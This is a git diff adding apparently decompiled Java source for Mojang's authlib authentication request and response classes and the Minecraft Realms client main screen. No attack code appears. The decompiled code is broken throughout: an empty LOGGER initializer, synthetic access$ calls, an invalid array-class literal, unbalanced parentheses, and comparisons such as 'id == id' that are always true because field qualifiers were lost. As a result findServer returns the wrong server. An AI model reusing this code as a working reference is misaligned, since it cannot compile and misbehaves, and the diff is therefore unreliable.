@@ -0,0 +1,13 @@
+package com.mojang.authlib.yggdrasil.request;
+
+import com.mojang.authlib.yggdrasil.YggdrasilUserAuthentication;
+
+public class InvalidateRequest {
+  private String accessToken;
+  private String clientToken;
+  
+  public InvalidateRequest(YggdrasilUserAuthentication authenticationService) {
+    accessToken = authenticationService.getAuthenticatedToken();
+    clientToken = authenticationService.getAuthenticationService().getClientToken();
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/request/JoinMinecraftServerRequest.java b/src/minecraft/com/mojang/authlib/yggdrasil/request/JoinMinecraftServerRequest.java
new file mode 100644
index 0000000..4d58a47
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/request/JoinMinecraftServerRequest.java
@@ -0,0 +1,12 @@
+package com.mojang.authlib.yggdrasil.request;
+
+import java.util.UUID;
+
+public class JoinMinecraftServerRequest
+{
+  public String accessToken;
+  public UUID selectedProfile;
+  public String serverId;
+  
+  public JoinMinecraftServerRequest() {}
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/request/RefreshRequest.java b/src/minecraft/com/mojang/authlib/yggdrasil/request/RefreshRequest.java
new file mode 100644
index 0000000..af33db1
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/request/RefreshRequest.java
@@ -0,0 +1,21 @@
+package com.mojang.authlib.yggdrasil.request;
+
+import com.mojang.authlib.yggdrasil.YggdrasilUserAuthentication;
+
+public class RefreshRequest
+{
+  private String clientToken;
+  private String accessToken;
+  private com.mojang.authlib.GameProfile selectedProfile;
+  private boolean requestUser = true;
+  
+  public RefreshRequest(YggdrasilUserAuthentication authenticationService) {
+    this(authenticationService, null);
+  }
+  
+  public RefreshRequest(YggdrasilUserAuthentication authenticationService, com.mojang.authlib.GameProfile profile) {
+    clientToken = authenticationService.getAuthenticationService().getClientToken();
+    accessToken = authenticationService.getAuthenticatedToken();
+    selectedProfile = profile;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/request/ValidateRequest.java b/src/minecraft/com/mojang/authlib/yggdrasil/request/ValidateRequest.java
new file mode 100644
index 0000000..75def0a
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/request/ValidateRequest.java
@@ -0,0 +1,13 @@
+package com.mojang.authlib.yggdrasil.request;
+
+import com.mojang.authlib.yggdrasil.YggdrasilUserAuthentication;
+
+public class ValidateRequest {
+  private String clientToken;
+  private String accessToken;
+  
+  public ValidateRequest(YggdrasilUserAuthentication authenticationService) {
+    clientToken = authenticationService.getAuthenticationService().getClientToken();
+    accessToken = authenticationService.getAuthenticatedToken();
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/response/AuthenticationResponse.java b/src/minecraft/com/mojang/authlib/yggdrasil/response/AuthenticationResponse.java
new file mode 100644
index 0000000..b0e0ef8
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/response/AuthenticationResponse.java
@@ -0,0 +1,31 @@
+package com.mojang.authlib.yggdrasil.response;
+
+import com.mojang.authlib.GameProfile;
+
+public class AuthenticationResponse extends Response { private String accessToken;
+  private String clientToken;
+  private GameProfile selectedProfile;
+  private GameProfile[] availableProfiles;
+  private User user;
+  
+  public AuthenticationResponse() {}
+  
+  public String getAccessToken() { return accessToken; }
+  
+  public String getClientToken()
+  {
+    return clientToken;
+  }
+  
+  public GameProfile[] getAvailableProfiles() {
+    return availableProfiles;
+  }
+  
+  public GameProfile getSelectedProfile() {
+    return selectedProfile;
+  }
+  
+  public User getUser() {
+    return user;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/response/HasJoinedMinecraftServerResponse.java b/src/minecraft/com/mojang/authlib/yggdrasil/response/HasJoinedMinecraftServerResponse.java
new file mode 100644
index 0000000..f26096a
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/response/HasJoinedMinecraftServerResponse.java
@@ -0,0 +1,18 @@
+package com.mojang.authlib.yggdrasil.response;
+
+import com.mojang.authlib.properties.PropertyMap;
+
+public class HasJoinedMinecraftServerResponse extends Response {
+  private java.util.UUID id;
+  private PropertyMap properties;
+  
+  public HasJoinedMinecraftServerResponse() {}
+  
+  public java.util.UUID getId() {
+    return id;
+  }
+  
+  public PropertyMap getProperties() {
+    return properties;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/response/MinecraftProfilePropertiesResponse.java b/src/minecraft/com/mojang/authlib/yggdrasil/response/MinecraftProfilePropertiesResponse.java
new file mode 100644
index 0000000..6659a3e
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/response/MinecraftProfilePropertiesResponse.java
@@ -0,0 +1,23 @@
+package com.mojang.authlib.yggdrasil.response;
+
+import com.mojang.authlib.properties.PropertyMap;
+
+public class MinecraftProfilePropertiesResponse extends Response {
+  private java.util.UUID id;
+  private String name;
+  private PropertyMap properties;
+  
+  public MinecraftProfilePropertiesResponse() {}
+  
+  public java.util.UUID getId() {
+    return id;
+  }
+  
+  public String getName() {
+    return name;
+  }
+  
+  public PropertyMap getProperties() {
+    return properties;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/response/MinecraftTexturesPayload.java b/src/minecraft/com/mojang/authlib/yggdrasil/response/MinecraftTexturesPayload.java
new file mode 100644
index 0000000..710c844
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/response/MinecraftTexturesPayload.java
@@ -0,0 +1,34 @@
+package com.mojang.authlib.yggdrasil.response;
+
+import com.mojang.authlib.minecraft.MinecraftProfileTexture;
+
+public class MinecraftTexturesPayload
+{
+  private long timestamp;
+  private java.util.UUID profileId;
+  private String profileName;
+  private boolean isPublic;
+  private java.util.Map<com.mojang.authlib.minecraft.MinecraftProfileTexture.Type, MinecraftProfileTexture> textures;
+  
+  public MinecraftTexturesPayload() {}
+  
+  public long getTimestamp() {
+    return timestamp;
+  }
+  
+  public java.util.UUID getProfileId() {
+    return profileId;
+  }
+  
+  public String getProfileName() {
+    return profileName;
+  }
+  
+  public boolean isPublic() {
+    return isPublic;
+  }
+  
+  public java.util.Map<com.mojang.authlib.minecraft.MinecraftProfileTexture.Type, MinecraftProfileTexture> getTextures() {
+    return textures;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/response/ProfileSearchResultsResponse.java b/src/minecraft/com/mojang/authlib/yggdrasil/response/ProfileSearchResultsResponse.java
new file mode 100644
index 0000000..831ddb4
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/response/ProfileSearchResultsResponse.java
@@ -0,0 +1,38 @@
+package com.mojang.authlib.yggdrasil.response;
+
+import com.google.gson.JsonObject;
+
+public class ProfileSearchResultsResponse
+  extends Response
+{
+  private com.mojang.authlib.GameProfile[] profiles;
+  
+  public ProfileSearchResultsResponse() {}
+  
+  public com.mojang.authlib.GameProfile[] getProfiles() { return profiles; }
+  
+  public static class Serializer implements com.google.gson.JsonDeserializer<ProfileSearchResultsResponse> {
+    public Serializer() {}
+    
+    public ProfileSearchResultsResponse deserialize(com.google.gson.JsonElement json, java.lang.reflect.Type typeOfT, com.google.gson.JsonDeserializationContext context) throws com.google.gson.JsonParseException {
+      ProfileSearchResultsResponse result = new ProfileSearchResultsResponse();
+      
+      if ((json instanceof JsonObject)) {
+        JsonObject object = (JsonObject)json;
+        if (object.has("error")) {
+          result.setError(object.getAsJsonPrimitive("error").getAsString());
+        }
+        if (object.has("errorMessage")) {
+          result.setError(object.getAsJsonPrimitive("errorMessage").getAsString());
+        }
+        if (object.has("cause")) {
+          result.setError(object.getAsJsonPrimitive("cause").getAsString());
+        }
+      } else {
+        profiles = ((com.mojang.authlib.GameProfile[])context.deserialize(json, [Lcom.mojang.authlib.GameProfile.class));
+      }
+      
+      return result;
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/response/RefreshResponse.java b/src/minecraft/com/mojang/authlib/yggdrasil/response/RefreshResponse.java
new file mode 100644
index 0000000..ec1561f
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/response/RefreshResponse.java
@@ -0,0 +1,31 @@
+package com.mojang.authlib.yggdrasil.response;
+
+import com.mojang.authlib.GameProfile;
+
+public class RefreshResponse extends Response { private String accessToken;
+  private String clientToken;
+  private GameProfile selectedProfile;
+  private GameProfile[] availableProfiles;
+  private User user;
+  
+  public RefreshResponse() {}
+  
+  public String getAccessToken() { return accessToken; }
+  
+  public String getClientToken()
+  {
+    return clientToken;
+  }
+  
+  public GameProfile[] getAvailableProfiles() {
+    return availableProfiles;
+  }
+  
+  public GameProfile getSelectedProfile() {
+    return selectedProfile;
+  }
+  
+  public User getUser() {
+    return user;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/response/Response.java b/src/minecraft/com/mojang/authlib/yggdrasil/response/Response.java
new file mode 100644
index 0000000..d1f9a2d
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/response/Response.java
@@ -0,0 +1,31 @@
+package com.mojang.authlib.yggdrasil.response;
+
+public class Response { private String error;
+  private String errorMessage;
+  private String cause;
+  
+  public Response() {}
+  
+  public String getError() { return error; }
+  
+  public String getCause()
+  {
+    return cause;
+  }
+  
+  public String getErrorMessage() {
+    return errorMessage;
+  }
+  
+  protected void setError(String error) {
+    this.error = error;
+  }
+  
+  protected void setErrorMessage(String errorMessage) {
+    this.errorMessage = errorMessage;
+  }
+  
+  protected void setCause(String cause) {
+    this.cause = cause;
+  }
+}
diff --git a/src/minecraft/com/mojang/authlib/yggdrasil/response/User.java b/src/minecraft/com/mojang/authlib/yggdrasil/response/User.java
new file mode 100644
index 0000000..ce6b242
--- /dev/null
+++ b/src/minecraft/com/mojang/authlib/yggdrasil/response/User.java
@@ -0,0 +1,16 @@
+package com.mojang.authlib.yggdrasil.response;
+
+import com.mojang.authlib.properties.PropertyMap;
+
+public class User { private String id;
+  private PropertyMap properties;
+  
+  public User() {}
+  
+  public String getId() { return id; }
+  
+  public PropertyMap getProperties()
+  {
+    return properties;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/RealmsMainScreen.java b/src/minecraft/com/mojang/realmsclient/RealmsMainScreen.java
new file mode 100644
index 0000000..4a0e6bf
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/RealmsMainScreen.java
@@ -0,0 +1,1108 @@
+package com.mojang.realmsclient;
+
+import com.google.common.util.concurrent.ThreadFactoryBuilder;
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.client.RealmsClient.CompatibleVersionResponse;
+import com.mojang.realmsclient.dto.PingResult;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.dto.RealmsServer.State;
+import com.mojang.realmsclient.dto.RealmsServer.WorldType;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import com.mojang.realmsclient.gui.RealmsDataFetcher;
+import com.mojang.realmsclient.gui.RealmsDataFetcher.Task;
+import com.mojang.realmsclient.gui.screens.RealmsGenericErrorScreen;
+import com.mojang.realmsclient.gui.screens.RealmsLongConfirmationScreen;
+import com.mojang.realmsclient.gui.screens.RealmsLongRunningMcoTaskScreen;
+import com.mojang.realmsclient.gui.screens.RealmsPendingInvitesScreen;
+import java.io.IOException;
+import java.net.UnknownHostException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.ThreadPoolExecutor;
+import java.util.concurrent.locks.ReentrantLock;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsMth;
+import net.minecraft.realms.RealmsScreen;
+import net.minecraft.realms.RealmsServerPing;
+import net.minecraft.realms.RealmsServerStatusPinger;
+import net.minecraft.realms.Tezzelator;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.GL11;
+
+public class RealmsMainScreen extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private static boolean overrideConfigure = false;
+  private static boolean stageEnabled = false;
+  
+  private boolean dontSetConnectedToRealms = false;
+  
+  protected static final int BUTTON_BACK_ID = 0;
+  
+  protected static final int BUTTON_PLAY_ID = 1;
+  
+  protected static final int BUTTON_CONFIGURE_ID = 2;
+  
+  protected static final int BUTTON_LEAVE_ID = 3;
+  
+  protected static final int BUTTON_BUY_ID = 4;
+  
+  protected static final int RESOURCEPACK_ID = 100;
+  
+  private RealmsServer resourcePackServer;
+  private static final String ON_ICON_LOCATION = "realms:textures/gui/realms/on_icon.png";
+  private static final String OFF_ICON_LOCATION = "realms:textures/gui/realms/off_icon.png";
+  private static final String EXPIRED_ICON_LOCATION = "realms:textures/gui/realms/expired_icon.png";
+  private static final String INVITATION_ICONS_LOCATION = "realms:textures/gui/realms/invitation_icons.png";
+  private static final String INVITE_ICON_LOCATION = "realms:textures/gui/realms/invite_icon.png";
+  private static final String WORLDICON_LOCATION = "realms:textures/gui/realms/world_icon.png";
+  private static final String LOGO_LOCATION = "realms:textures/gui/title/realms.png";
+  private static RealmsDataFetcher realmsDataFetcher = new RealmsDataFetcher();
+  private static RealmsServerStatusPinger statusPinger = new RealmsServerStatusPinger();
+  private static final ThreadPoolExecutor THREAD_POOL = new java.util.concurrent.ScheduledThreadPoolExecutor(5, new ThreadFactoryBuilder().setNameFormat("Server Pinger #%d").setDaemon(true).build());
+  
+  private static int lastScrollYPosition = -1;
+  
+  private RealmsScreen lastScreen;
+  
+  private volatile ServerSelectionList serverSelectionList;
+  private long selectedServerId = -1L;
+  
+  private RealmsButton configureButton;
+  
+  private RealmsButton leaveButton;
+  private RealmsButton playButton;
+  private RealmsButton buyButton;
+  private String toolTip;
+  private List<RealmsServer> realmsServers = com.google.common.collect.Lists.newArrayList();
+  
+  private static final String mcoInfoUrl = "https://minecraft.net/realms";
+  private volatile int numberOfPendingInvites = 0;
+  
+  private int animTick;
+  
+  private static volatile boolean mcoEnabled;
+  private static volatile boolean mcoEnabledCheck;
+  private static boolean checkedMcoAvailability;
+  private static volatile boolean trialsAvailable;
+  private static volatile boolean createdTrial = false;
+  private static final ReentrantLock trialLock = new ReentrantLock();
+  
+  private static RealmsScreen realmsGenericErrorScreen = null;
+  
+  private static boolean regionsPinged = false;
+  
+  private boolean onLink = false;
+  
+  private int mindex = 0;
+  private char[] mchars = { '3', '2', '1', '4', '5', '6' };
+  
+  private int sindex = 0;
+  private char[] schars = { '9', '8', '7', '1', '2', '3' };
+  
+  static
+  {
+    String version = RealmsVersion.getVersion();
+    
+    if (version != null) {
+      LOGGER.info("Realms library version == " + version);
+    }
+  }
+  
+  public RealmsMainScreen(RealmsScreen lastScreen) {
+    this.lastScreen = lastScreen;
+    checkIfMcoEnabled();
+  }
+  
+  public void mouseEvent()
+  {
+    super.mouseEvent();
+    serverSelectionList.mouseEvent();
+  }
+  
+  public void init()
+  {
+    if (!dontSetConnectedToRealms) {
+      Realms.setConnectedToRealms(false);
+    }
+    
+    if (realmsGenericErrorScreen != null) {
+      Realms.setScreen(realmsGenericErrorScreen);
+      return;
+    }
+    
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    postInit();
+    
+    if (isMcoEnabled()) {
+      realmsDataFetcher.init();
+    }
+  }
+  
+  public void postInit() {
+    buttonsAdd(this.playButton = newButton(1, width() / 2 - 154, height() - 52, 154, 20, getLocalizedString("mco.selectServer.play")));
+    buttonsAdd(this.configureButton = newButton(2, width() / 2 + 6, height() - 52, 154, 20, getLocalizedString("mco.selectServer.configure")));
+    
+    buttonsAdd(this.leaveButton = newButton(3, width() / 2 - 154, height() - 28, 102, 20, getLocalizedString("mco.selectServer.leave")));
+    buttonsAdd(this.buyButton = newButton(4, width() / 2 - 48, height() - 28, 102, 20, getLocalizedString("mco.selectServer.buy")));
+    buttonsAdd(newButton(0, width() / 2 + 58, height() - 28, 102, 20, getLocalizedString("gui.back")));
+    
+    serverSelectionList = new ServerSelectionList();
+    
+    if (lastScrollYPosition != -1) {
+      serverSelectionList.scroll(lastScrollYPosition);
+    }
+    
+    RealmsServer server = findServer(selectedServerId);
+    playButton.active((server != null) && (state == RealmsServer.State.OPEN) && (!expired));
+    configureButton.active((overrideConfigure) || ((server != null) && (state != RealmsServer.State.ADMIN_LOCK) && (ownerUUID.equals(Realms.getUUID()))));
+    leaveButton.active((server != null) && (!ownerUUID.equals(Realms.getUUID())));
+  }
+  
+  public void tick()
+  {
+    animTick += 1;
+    
+    if (noParentalConsent()) {
+      Realms.setScreen(new com.mojang.realmsclient.gui.screens.RealmsParentalConsentScreen(lastScreen));
+    }
+    
+    if (isMcoEnabled()) {
+      realmsDataFetcher.init();
+    } else {
+      return;
+    }
+    
+
+    if (realmsDataFetcher.isFetchedSinceLastTry(RealmsDataFetcher.Task.SERVER_LIST)) {
+      List<RealmsServer> newServers = realmsDataFetcher.getServers();
+      
+      boolean ownsNonExpiredRealmServer = false;
+      
+      for (Iterator i$ = newServers.iterator(); i$.hasNext();) { retrievedServer = (RealmsServer)i$.next();
+        if (isSelfOwnedNonExpiredServer(retrievedServer)) {
+          ownsNonExpiredRealmServer = true;
+        }
+        
+        for (RealmsServer oldServer : realmsServers) {
+          if (id == id) {
+            retrievedServer.latestStatFrom(oldServer);
+            break;
+          }
+        }
+      }
+      RealmsServer retrievedServer;
+      realmsServers = newServers;
+      
+      if ((!regionsPinged) && (ownsNonExpiredRealmServer)) {
+        regionsPinged = true;
+        pingRegions();
+      }
+    }
+    
+    if (realmsDataFetcher.isFetchedSinceLastTry(RealmsDataFetcher.Task.PENDING_INVITE)) {
+      numberOfPendingInvites = realmsDataFetcher.getPendingInvitesCount();
+    }
+    
+    if ((realmsDataFetcher.isFetchedSinceLastTry(RealmsDataFetcher.Task.TRIAL_AVAILABLE)) && (!createdTrial)) {
+      trialsAvailable = realmsDataFetcher.isTrialAvailable();
+    }
+    
+    realmsDataFetcher.markClean();
+  }
+  
+  private void pingRegions() {
+    new Thread()
+    {
+      public void run() {
+        List<com.mojang.realmsclient.dto.RegionPingResult> regionPingResultList = com.mojang.realmsclient.client.Ping.pingAllRegions();
+        RealmsClient client = RealmsClient.createRealmsClient();
+        PingResult pingResult = new PingResult();
+        pingResults = regionPingResultList;
+        worldIds = RealmsMainScreen.this.getOwnedNonExpiredWorldIds();
+        try {
+          client.sendPingResults(pingResult);
+        } catch (Throwable t) {
+          RealmsMainScreen.LOGGER.warn("Could not send ping result to Realms: ", t);
+        }
+      }
+    }.start();
+  }
+  
+  private List<Long> getOwnedNonExpiredWorldIds() {
+    List<Long> ids = new java.util.ArrayList();
+    for (RealmsServer server : realmsServers) {
+      if (isSelfOwnedNonExpiredServer(server)) {
+        ids.add(Long.valueOf(id));
+      }
+    }
+    return ids;
+  }
+  
+  private boolean isMcoEnabled() {
+    return mcoEnabled;
+  }
+  
+  private boolean noParentalConsent() {
+    return (mcoEnabledCheck) && (!mcoEnabled);
+  }
+  
+  public void removed()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) { return;
+    }
+    switch (button.id()) {
+    case 1: 
+      play(findServer(selectedServerId));
+      break;
+    case 2: 
+      configureClicked();
+      break;
+    case 3: 
+      leaveClicked();
+      break;
+    case 4: 
+      saveListScrollPosition();
+      stopRealmsFetcherAndPinger();
+      Realms.setScreen(new com.mojang.realmsclient.gui.screens.RealmsBuyRealmsScreen(this));
+      break;
+    case 0: 
+      stopRealmsFetcherAndPinger();
+      Realms.setScreen(lastScreen);
+      break;
+    }
+    
+  }
+  
+  private void createTrial()
+  {
+    if (createdTrial) {
+      trialsAvailable = false;
+      return;
+    }
+    
+    final RealmsScreen mainScreen = this;
+    
+    new Thread("Realms-create-trial")
+    {
+      public void run() {
+        try {
+          if (!RealmsMainScreen.trialLock.tryLock(10L, java.util.concurrent.TimeUnit.MILLISECONDS)) {
+            return;
+          }
+          
+          RealmsClient client = RealmsClient.createRealmsClient();
+          
+          RealmsMainScreen.access$302(false);
+          
+          if (client.createTrial().booleanValue()) {
+            RealmsMainScreen.access$402(true);
+            RealmsMainScreen.realmsDataFetcher.forceUpdate();
+          } else {
+            Realms.setScreen(new RealmsGenericErrorScreen(RealmsScreen.getLocalizedString("mco.trial.unavailable"), mainScreen));
+          }
+        } catch (RealmsServiceException e) {
+          RealmsMainScreen.LOGGER.error("Trials wasn't available: " + e.toString());
+          Realms.setScreen(new RealmsGenericErrorScreen(e, RealmsMainScreen.this));
+        } catch (IOException e) {
+          RealmsMainScreen.LOGGER.error("Couldn't parse response when trying to create trial: " + e.toString());
+          RealmsMainScreen.access$302(false);
+        } catch (InterruptedException e) {
+          RealmsMainScreen.LOGGER.error("Trial Interrupted exception: " + e.toString());
+        } finally {
+          if (RealmsMainScreen.trialLock.isHeldByCurrentThread()) {
+            RealmsMainScreen.trialLock.unlock();
+          }
+        }
+      }
+    }.start();
+  }
+  
+  private void checkIfMcoEnabled() {
+    if (!checkedMcoAvailability) {
+      checkedMcoAvailability = true;
+      new Thread("MCO Availability Checker #1")
+      {
+        public void run() {
+          RealmsClient client = RealmsClient.createRealmsClient();
+          
+          try
+          {
+            RealmsClient.CompatibleVersionResponse versionResponse = client.clientCompatible();
+            
+            if (versionResponse.equals(RealmsClient.CompatibleVersionResponse.OUTDATED)) {
+              Realms.setScreen(RealmsMainScreen.access$602(new com.mojang.realmsclient.gui.screens.RealmsClientOutdatedScreen(lastScreen, true)));
+              return; }
+            if (versionResponse.equals(RealmsClient.CompatibleVersionResponse.OTHER)) {
+              Realms.setScreen(RealmsMainScreen.access$602(new com.mojang.realmsclient.gui.screens.RealmsClientOutdatedScreen(lastScreen, false)));
+              return;
+            }
+          } catch (RealmsServiceException e) {
+            RealmsMainScreen.access$802(false);
+            RealmsMainScreen.LOGGER.error("Couldn't connect to realms: ", new Object[] { e.toString() });
+            
+            if (httpResultCode == 401) {
+              RealmsMainScreen.access$602(new RealmsGenericErrorScreen(e, lastScreen));
+            }
+            
+            Realms.setScreen(new RealmsGenericErrorScreen(e, lastScreen));
+            return;
+          } catch (IOException e) {
+            RealmsMainScreen.access$802(false);
+            RealmsMainScreen.LOGGER.error("Couldn't connect to realms: ", new Object[] { e.getMessage() });
+            Realms.setScreen(new RealmsGenericErrorScreen(e.getMessage(), lastScreen));
+            return;
+          }
+          
+
+          boolean retry = false;
+          
+          for (int i = 0; i < 3; i++) {
+            try {
+              Boolean result = client.mcoEnabled();
+              
+              if (result.booleanValue()) {
+                RealmsMainScreen.LOGGER.info("Realms is available for this user");
+                RealmsMainScreen.access$902(true);
+              } else {
+                RealmsMainScreen.LOGGER.info("Realms is not available for this user");
+                RealmsMainScreen.access$902(false);
+              }
+              
+              RealmsMainScreen.access$1002(true);
+            } catch (com.mojang.realmsclient.exception.RetryCallException e) {
+              retry = true;
+            } catch (RealmsServiceException e) {
+              RealmsMainScreen.LOGGER.error("Couldn't connect to Realms: " + e.toString());
+            } catch (IOException e) {
+              RealmsMainScreen.LOGGER.error("Couldn't parse response connecting to Realms: " + e.getMessage());
+            }
+            
+            if (!retry)
+              break;
+            try { Thread.sleep(5000L);
+            } catch (InterruptedException e) {
+              Thread.currentThread().interrupt();
+            }
+          }
+        }
+      }.start();
+    }
+  }
+  
+
+  private void switchToStage()
+  {
+    if (!stageEnabled) {
+      new Thread("MCO Stage Availability Checker #1")
+      {
+        public void run() {
+          RealmsClient client = RealmsClient.createRealmsClient();
+          try {
+            Boolean result = client.stageAvailable();
+            
+            if (result.booleanValue()) {
+              RealmsMainScreen.this.stopRealmsFetcherAndPinger();
+              RealmsClient.switchToStage();
+              RealmsMainScreen.LOGGER.info("Switched to stage");
+              RealmsMainScreen.realmsDataFetcher.init();
+              RealmsMainScreen.access$1202(true);
+            } else {
+              RealmsMainScreen.access$1202(false);
+            }
+          } catch (RealmsServiceException e) {
+            RealmsMainScreen.LOGGER.error("Couldn't connect to Realms: " + e.toString());
+          } catch (IOException e) {
+            RealmsMainScreen.LOGGER.error("Couldn't parse response connecting to Realms: " + e.getMessage());
+          }
+        }
+      }.start();
+    }
+  }
+  
+  private void switchToProd() {
+    if (stageEnabled) {
+      stageEnabled = false;
+      stopRealmsFetcherAndPinger();
+      RealmsClient.switchToProd();
+      realmsDataFetcher.init();
+    }
+  }
+  
+  private void stopRealmsFetcherAndPinger() {
+    if (isMcoEnabled()) {
+      realmsDataFetcher.stop();
+      statusPinger.removeAll();
+    }
+  }
+  
+  private void configureClicked() {
+    RealmsServer selectedServer = findServer(selectedServerId);
+    if ((selectedServer != null) && (
+      (Realms.getUUID().equals(ownerUUID)) || (overrideConfigure))) {
+      stopRealmsFetcherAndPinger();
+      saveListScrollPosition();
+      Realms.setScreen(new com.mojang.realmsclient.gui.screens.RealmsConfigureWorldScreen(this, id));
+    }
+  }
+  
+  private void leaveClicked()
+  {
+    RealmsServer selectedServer = findServer(selectedServerId);
+    if ((selectedServer != null) && 
+      (!Realms.getUUID().equals(ownerUUID))) {
+      saveListScrollPosition();
+      String line2 = getLocalizedString("mco.configure.world.leave.question.line1");
+      String line3 = getLocalizedString("mco.configure.world.leave.question.line2");
+      Realms.setScreen(new RealmsLongConfirmationScreen(this, com.mojang.realmsclient.gui.screens.RealmsLongConfirmationScreen.Type.Info, line2, line3, true, 3));
+    }
+  }
+  
+  private void saveListScrollPosition()
+  {
+    lastScrollYPosition = serverSelectionList.getScroll();
+  }
+  
+  private RealmsServer findServer(long id) {
+    for (RealmsServer server : realmsServers) {
+      if (id == id) {
+        return server;
+      }
+    }
+    return null;
+  }
+  
+  private int findIndex(long serverId) {
+    for (int i = 0; i < realmsServers.size(); i++) {
+      if (realmsServers.get(i)).id == serverId) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+  public void confirmResult(boolean result, int id)
+  {
+    if (id == 3) {
+      if (result) {
+        new Thread("Realms-leave-server")
+        {
+          public void run() {
+            try {
+              RealmsServer server = RealmsMainScreen.this.findServer(selectedServerId);
+              
+              if (server != null) {
+                RealmsClient client = RealmsClient.createRealmsClient();
+                RealmsMainScreen.realmsDataFetcher.removeItem(server);
+                realmsServers.remove(server);
+                client.uninviteMyselfFrom(id);
+                RealmsMainScreen.realmsDataFetcher.removeItem(server);
+                realmsServers.remove(server);
+                RealmsMainScreen.this.updateSelectedItemPointer();
+              }
+            } catch (RealmsServiceException e) {
+              RealmsMainScreen.LOGGER.error("Couldn't configure world");
+              Realms.setScreen(new RealmsGenericErrorScreen(e, RealmsMainScreen.this));
+            }
+          }
+        }.start();
+      }
+      
+      Realms.setScreen(this);
+    } else if (id == 100) {
+      if (!result)
+      {
+        Realms.setScreen(this);
+      } else {
+        connectToServer(resourcePackServer);
+      }
+    }
+  }
+  
+  private void updateSelectedItemPointer()
+  {
+    int originalIndex = findIndex(selectedServerId);
+    
+    if (realmsServers.size() - 1 == originalIndex) {
+      originalIndex--;
+    }
+    
+    if (realmsServers.size() == 0) {
+      originalIndex = -1;
+    }
+    
+    if ((originalIndex >= 0) && (originalIndex < realmsServers.size())) {
+      selectedServerId = realmsServers.get(originalIndex)).id;
+    }
+  }
+  
+  public void removeSelection()
+  {
+    selectedServerId = -1L;
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    switch (eventKey) {
+    case 28: 
+    case 156: 
+      mindex = 0;
+      sindex = 0;
+      buttonClicked(playButton);
+      break;
+    case 1: 
+      mindex = 0;
+      sindex = 0;
+      stopRealmsFetcherAndPinger();
+      Realms.setScreen(lastScreen);
+      break;
+    default: 
+      if (mchars[mindex] == ch) {
+        mindex += 1;
+        
+        if (mindex == mchars.length) {
+          mindex = 0;
+          overrideConfigure = true;
+        }
+      } else {
+        mindex = 0;
+      }
+      
+      if (schars[sindex] == ch) {
+        sindex += 1;
+        
+        if (sindex == schars.length) {
+          sindex = 0;
+          
+          if (!stageEnabled) {
+            switchToStage();
+          } else {
+            switchToProd();
+          }
+        }
+        
+        return;
+      }
+      sindex = 0;
+    }
+    
+  }
+  
+
+
+  public void render(int xm, int ym, float a)
+  {
+    toolTip = null;
+    
+    renderBackground();
+    
+    serverSelectionList.render(xm, ym, a);
+    
+    drawRealmsLogo(width() / 2 - 50, 7);
+    
+    renderLink(xm, ym);
+    
+    if (toolTip != null) {
+      renderMousehoverTooltip(toolTip, xm, ym);
+    }
+    
+    drawInvitationPendingIcon(xm, ym);
+    
+    if (stageEnabled) {
+      renderStage();
+    }
+    
+    super.render(xm, ym, a);
+  }
+  
+  private void drawRealmsLogo(int x, int y) {
+    RealmsScreen.bind("realms:textures/gui/title/realms.png");
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glPushMatrix();
+    GL11.glScalef(0.5F, 0.5F, 0.5F);
+    RealmsScreen.blit(x * 2, y * 2 - 5, 0.0F, 0.0F, 200, 50, 200.0F, 50.0F);
+    
+    GL11.glPopMatrix();
+  }
+  
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    if (inPendingInvitationArea(x, y)) {
+      stopRealmsFetcherAndPinger();
+      RealmsPendingInvitesScreen pendingInvitationScreen = new RealmsPendingInvitesScreen(lastScreen);
+      Realms.setScreen(pendingInvitationScreen);
+    }
+    
+    if (onLink) {
+      com.mojang.realmsclient.util.RealmsUtil.browseTo("https://minecraft.net/realms");
+    }
+  }
+  
+  private void drawInvitationPendingIcon(int xm, int ym)
+  {
+    int pendingInvitesCount = numberOfPendingInvites;
+    boolean hovering = inPendingInvitationArea(xm, ym);
+    
+    int baseX = width() / 2 + 50;
+    int baseY = 8;
+    
+    if (pendingInvitesCount != 0) {
+      float scale = 0.25F + (1.0F + RealmsMth.sin(animTick * 0.5F)) * 0.25F;
